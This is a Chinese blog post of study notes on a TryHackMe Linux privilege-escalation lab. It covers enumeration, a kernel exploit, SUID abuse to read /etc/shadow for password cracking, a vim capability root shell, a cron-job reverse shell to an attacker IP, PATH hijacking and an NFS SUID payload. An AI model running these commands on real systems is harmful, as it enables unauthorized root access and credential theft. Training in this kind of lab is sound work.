【THM】Linux权限提升

1、简介

学习资料来自tryhackme
权限升级是一个旅程。没有灵丹妙药,很大程度上取决于目标系统的具体配置。内核版本、安装的应用程序、支持的编程语言、其他用户的密码是影响您通往 root shell 之路的几个关键要素。

2、什么是权限提升

“权限升级”是什么意思?

从本质上讲,权限升级通常涉及从权限较低的帐户到权限较高的帐户。从技术上讲,它是利用操作系统或应用程序中的漏洞、设计缺陷或配置监督来未经授权地访问通常限制用户访问的资源。

为什么它如此重要?

在执行现实世界的渗透测试时,很少能够获得为您提供直接管理访问权限的立足点(初始访问权限)。权限升级至关重要,因为它可以让您获得系统管理员级别的访问权限,从而允许您执行以下操作:

  • 重置密码
  • 绕过访问控制来破坏受保护的数据
  • 编辑软件配置
  • 持久性控制
  • 更改现有(或新)用户的权限
  • 执行任何管理命令

3、枚举

枚举是访问任何系统后必须采取的第一步。此时可能已经通过利用导致 root 级别访问的严重漏洞来访问系统,或者只是找到了使用低特权帐户发送命令的方法。与 CTF 不同,渗透测试活动不会在您获得特定系统或用户权限级别的访问权限后结束。枚举在攻击后阶段与攻击前一样重要。

hostname 主机名

hostname 命令将返回目标计算机的主机名。尽管该值很容易更改或具有相对无意义的字符串(例如 Ubuntu-3487340239),但在某些情况下,它可以提供有关目标系统在企业网络中的角色的信息(例如用于生产 SQL 服务器的 SQL-PROD-01) 。

Uname -a 系统信息

打印系统信息,为我们提供有关系统使用的内核的更多详细信息。这在搜索任何可能导致权限升级的潜在内核漏洞时非常有用。

/proc/version 进程、版本信息

proc 文件系统 (procfs) 提供有关目标系统进程的信息。在许多不同的 Linux 版本中都可以找到 proc。
查看 /proc/version 可能会提供有关内核版本的信息以及其他数据,例如是否安装了编译器(例如 GCC)。

/etc/issue

通过查看 /etc/issue 文件来识别系统。该文件通常包含一些有关操作系统的信息,但可以轻松被自定义或更改。在issue上,任何包含系统信息的文件都可以定制或更改。为了更清楚地了解系统,最好查看所有这些内容。

ps 命令

ps 命令是查看 Linux 系统上正在运行的进程的有效方法。在终端上输入 ps 将显示当前 shell 的进程。
ps -A :查看所有正在运行的进程
ps axjf :查看进程树(在下面运行 ps axjf 之前查看树的形成)【看不太清楚】

ps aux : aux 选项将显示所有用户的进程 (a)、显示启动该进程的用户 (u) 以及显示未附加到终端的进程 (x )。查看ps aux命令的输出,我们可以更好地了解系统和潜在的漏洞。

env 环境变量

env 命令将显示环境变量。
PATH 变量可能具有编译器或脚本语言(例如 Python),可用于在目标系统上运行代码或用于权限升级。

sudo -l

目标系统可以配置为允许用户以 root 权限运行某些(或全部)命令。 sudo -l 命令可用于列出用户可以使用 sudo 运行的所有命令

ls

在寻找潜在的权限提升向量时,请记住始终使用带有 -la 参数的 ls 命令。
下面的示例显示使用 ls 或 ls -l 命令而错过了“secret.txt”文件。

/etc/passwd

id 命令将提供用户权限级别和组成员身份的总体概述。

读取 /etc/passwd 文件可以是发现系统上用户的简单方法。
虽然输出可能很长,但它可以被剪切并转换为用于暴力攻击的有用数据。

读取有家目录的用户名
cat /etc/passwd | grep home | cut -d ": " -f 1 

history

使用 history 命令查看历史命令可以让我们了解目标系统,可能(尽管很少)存储了密码或用户名等信息。

ifconfig

目标系统可能是另一个网络的枢纽点。 ifconfig 命令将为我们提供有关系统网络接口的信息。下面的示例显示目标系统具有三个接口(eth0、tun0 和 tun1)。我们的攻击机器可以到达 eth0 接口,但无法直接访问其他两个网络。

netstat

对现有接口和网络路由进行初步检查后,检查现有通信。 netstat 命令可以与多个不同的选项一起使用来收集有关现有连接的信息。

netstat -a :显示所有监听端口和已建立的连接。

netstat -at 或 netstat -au 也可用于分别列出 TCP 或 UDP 协议。

netstat -l :列出“监听”模式下的端口。这些端口已打开并准备好接受传入连接。这可以与“t”选项一起使用,以仅列出使用 TCP 协议侦听的端口(如下)

netstat -s :按协议列出网络使用统计信息(如下) 这也可以与 -t 或 -u 选项一起使用,以将输出限制为特定协议。

netstat -tp :列出连接以及服务名称和 PID 信息。

也可以使用 netstat -tpl 列出端口

netstat -i :显示接口统计信息。

netstat -ano 最常用命令

  • -a :显示所有套接字
  • -n :不解析名称
  • -o :显示计时器

find

Find files:  查找文件:

  • find . -name flag1.txt :在当前目录中查找名为“flag 1. Txt”的文件
  • find /home -name flag1.txt :在/home 目录中查找文件名“flag1.txt”
  • find / -type d -name config :找到“/”下名为 config 的目录
  • find / -type f -perm 0777 :查找具有777权限的文件
  • find / -perm a=x :查找可执行文件
  • find /home -user frank :查找“/home”下用户“frank”的所有文件
  • find / -mtime 10 :查找最近 10 天内修改过的文件
  • find / -atime 10 :查找最近 10 天内访问过的文件
  • find / -cmin -60 :查找最近一小时(60 分钟)内更改的文件
  • find / -amin -60 :查找最近一小时(60 分钟)内的文件访问情况
  • find / -size 50M :查找大小为 50 MB 的文件

find 还可以与(+)和(-)符号一起使用来指定大于或小于给定大小的文件。

find / -size +100M:寻找大于 100 mb 的文件
但是“find”命令往往会产生许多错误,有时会导致输出难以阅读。
可以使用带有“-type f 2>/dev/null”的“find”命令将错误重定向到“/dev/null”并获得更清晰的输出
![[抛弃错误信息.png]]

查找可以写入或执行的文件夹和文件:

  • find / -writable -type d 2>/dev/null :查找全局可写文件夹
  • find / -perm -222 -type d 2>/dev/null :查找全局可写文件夹
  • find / -perm -o w -type d 2>/dev/null :查找全局可写文件夹

查找特定文件权限:
find / -perm -u=s -type f 2>/dev/null :查找带有 SUID 位的文件,这允许我们以比当前用户更高的权限级别运行该文件。

由于我们处于 Linux 领域,熟悉 Linux 命令通常会非常有用。
请花一些时间熟悉 find 、 locate 、 grep 、 cut 、 sort 等命令。

4、自动枚举工具

有些工具可以帮助您在枚举过程中节省时间。但这些工具只能用于节省时间,因为它们可能会错过一些权限升级向量。
目标系统的环境将影响您将能够使用的工具。例如,如果目标系统上未安装用 Python 编写的工具,就无法运行该工具。这就是为什么熟悉几个工具比拥有一个首选工具更好。

5、权限提升:内核漏洞

理想情况下,权限升级会导致 root 权限。有时可以简单地通过利用现有漏洞来实现,或者在某些情况下通过访问具有更多权限、信息或访问权限的另一个用户帐户来实现。
在现实情况下,除非单个漏洞导致 root shell,否则权限提升过程将依赖于系统管理员 错误的配置设置了宽松的权限

这里演示一下 thm 靶机中的 CVE-2015-1328 内核漏洞

将. C 文件下载后起一个 http 服务

用靶机的 shell wget 下载. C 文件后编译执行即可得到 root 权限

6、权限提升:Sudo

默认情况下,sudo 命令允许您以 root 权限运行程序。在某些情况下,系统管理员可能需要为普通用户提供一定的权限灵活性。例如,初级 SOC 分析师可能需要定期使用 Nmap,但不会获得完全 root 访问权限。在这种情况下,系统管理员可以允许该用户仅以 root 权限运行 Nmap,同时在系统的其余部分保持其常规权限级别。

任何用户都可以使用 sudo -l 命令检查其与 root 权限相关的当前情况。

https://gtfobins.github.io/ 提供了有关如何使用在渗透过程中可能拥有 sudo 权限的任何程序的信息。

7、权限提升:SUID

许多 Linux 权限控制依赖于控制用户和文件交互。这是通过权限完成的。到现在为止,您知道文件可以具有读、写和执行权限。这些是在其权限级别内提供给用户的。这会随着 SUID(设备用户标识)和 SGID(设备组标识)而改变。这些允许分别以文件所有者或组所有者的权限级别执行文件。

find / -type f -perm -04000 -ls 2>/dev/null 将列出设置了 SUID 或 SGID 位的文件的详细信息

在发现相关可利用文件时,可以去 https://gtfobins.github.io/ 寻找利用方法

示例:用 base64 读取用户密码
首先发现 base64 拥有 suid 权限

利用 base64 读取文件

base64 /etc/passwd | base64 --decode
base64 /etc/shadow | base64 --decode

将读取到的用户信息分别存入 passwd.txt 和 shadow.txt

使用 unshadow 工具生成 passwords.txt

John 直接爆破得到密码

8、权限提升:功能 (Capabilities)

系统管理员可以用来提高进程或二进制文件的权限级别的另一种方法是“功能”。功能有助于更精细地管理权限。例如,如果 SOC 分析师需要使用需要启动套接字连接的工具,普通用户将无法做到这一点。如果系统管理员不想授予该用户更高的权限,他们可以更改二进制文件的功能。因此,二进制文件无需更高权限的用户即可完成其任务

我们可以使用 getcap 工具列出启用的功能。
当以非特权用户身份运行时, getcap -r / 将生成大量错误,因此最好将错误消息重定向到 /dev/null。

./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

9、权限提升:Cron 作业

Cron 作业用于在特定时间运行脚本或二进制文件。默认情况下,它们以其所有者的权限运行,而不是以当前用户的权限运行。虽然正确配置的 cron 作业本身并不容易受到攻击,但它们在某些情况下可以提供权限升级向量。

如果有一个以 root 权限运行的计划任务,并且我们可以更改将运行的脚本,那么我们的脚本将以 root 权限运行。

Cron 作业配置存储为 crontab(cron 表),以查看任务下次运行的时间和日期。

系统上的每个用户都有自己的 crontab 文件,并且无论是否登录都可以运行特定任务。正如您所期望的,我们的目标是找到由 root 设置的 cron 作业并让它运行我们的脚本(最好是 shell)。

任何用户都可以读取 /etc/crontab 下保存系统范围 cron 作业的文件

可以看到 backup.sh 脚本被配置为每分钟运行一次(* * * * * 有五个*)。该文件的内容显示了一个简单的脚本,该脚本创建 download. Zip的备份。

由于我们当前的用户可以访问此脚本,因此我们可以轻松修改它以创建一个反向 shell,希望具有 root 权限。

示例:
首先 cat /etc/crontab 查看 cron 作业,发现普通用户有读写权限

echo '#!/bin/bash\nbash -i >& /dev/tcp/10.13.42.109/2333 0>&1' > backup.sh

脚本每分钟执行一次,等待 shell 过来即可

10、权限提升:PATH

如果用户具有写入权限的一个文件夹位于路径中,可以劫持一个应用程序来运行脚本。 Linux 中的 PATH 是一个环境变量,它告诉操作系统在哪里搜索可执行文件。对于任何未内置到 shell 中或未使用绝对路径定义的命令,Linux 将开始在 PATH 下定义的文件夹中搜索。

通常 PATH 如下

如果我们在命令行中输入“thm”,Linux 将在这些位置查找名为 thm 的可执行文件。

下面的示例将使您更好地了解如何利用它来提高我们的特权级别。这完全取决于目标系统的现有配置,因此在尝试此操作之前,请考虑以下问题。

  1. $PATH下有哪些文件夹
  2. 当前的用户是否具有这些文件夹的写入权限?
  3. 可以修改$PATH吗?
  4. 可以启动的脚本/应用程序是否会受到此漏洞的影响?

可以使用以下语句来发现可写入文件

find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u

发现可写入文件后,可以将其添加进$PATH

添加进$PATH 后给要执行的提权程序加权限

示例:
Ssh 连接靶机,查看家目录的文件

elf 文件是一种二进制的可执行文件

执行 test
提示缺少 thm 文件
那么创建 thm 文件,并将要执行的命令输入进去,提供可执行权限
将此目录放入$PATH 中
执行即可发现使用 root 权限读取了 flag6. Txt

11、权限提升:NFS

权限升级向量不仅限于内部访问。共享文件夹和远程管理界面(例如 SSH 和 Telnet)还可以帮助您获得目标系统的 root 访问权限。有些情况还需要使用两个向量,例如在目标系统上查找 root SSH 私钥,并通过 SSH 以 root 权限进行连接,而不是尝试提高当前用户的权限级别。

NFS(Network File Sharing)配置保存在 /etc/exports 文件中。该文件是在 NFS 服务器安装期间创建的,通常可供用户读取。

此权限升级向量的关键元素是您在上面看到的“no_root_squash”选项。默认情况下,NFS 会将 root 用户更改为 nfsnobody,并禁止以 root 权限操作任何文件。如果可写共享上存在“no_root_squash”选项,我们可以创建一个设置了 SUID 位的可执行文件并在目标系统上运行它。

关键在于发现对方的共享文件夹并挂载在攻击机的一个目录上,于是在攻击机上的目录创建文件即相等于在对方机器上创建文件,由此我们就可以创建 payload 并赋予 root 权限,在对方机器上执行后即可 root

示例:

首先枚举攻击机器上的可安装共享。

把“no_root_squash”共享之一安装到我们的攻击机器上并开始构建我们的可执行文件。

可执行文件 payload 如下

#include <stdio.h>
#include <stdlib.h>

int main()
{
   setgid(0);
   setuid(0);
   system("/bin/bash");
   return 0;
}

编译好并赋予 root 权限

gcc test.c -o test -w

cp test /home/kali/workspace/attck

sudo chown root:root /home/kali/workspace/attck/test

sudo chmod +s /home/kali/workspace/attck/test

然后去对方靶机执行即可提权

这里提示库版本不对....

posted @   fforu  阅读(137)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 单元测试从入门到精通
· 上周热点回顾(3.3-3.9)
· winform 绘制太阳,地球,月球 运作规律
点击右上角即可分享
微信分享提示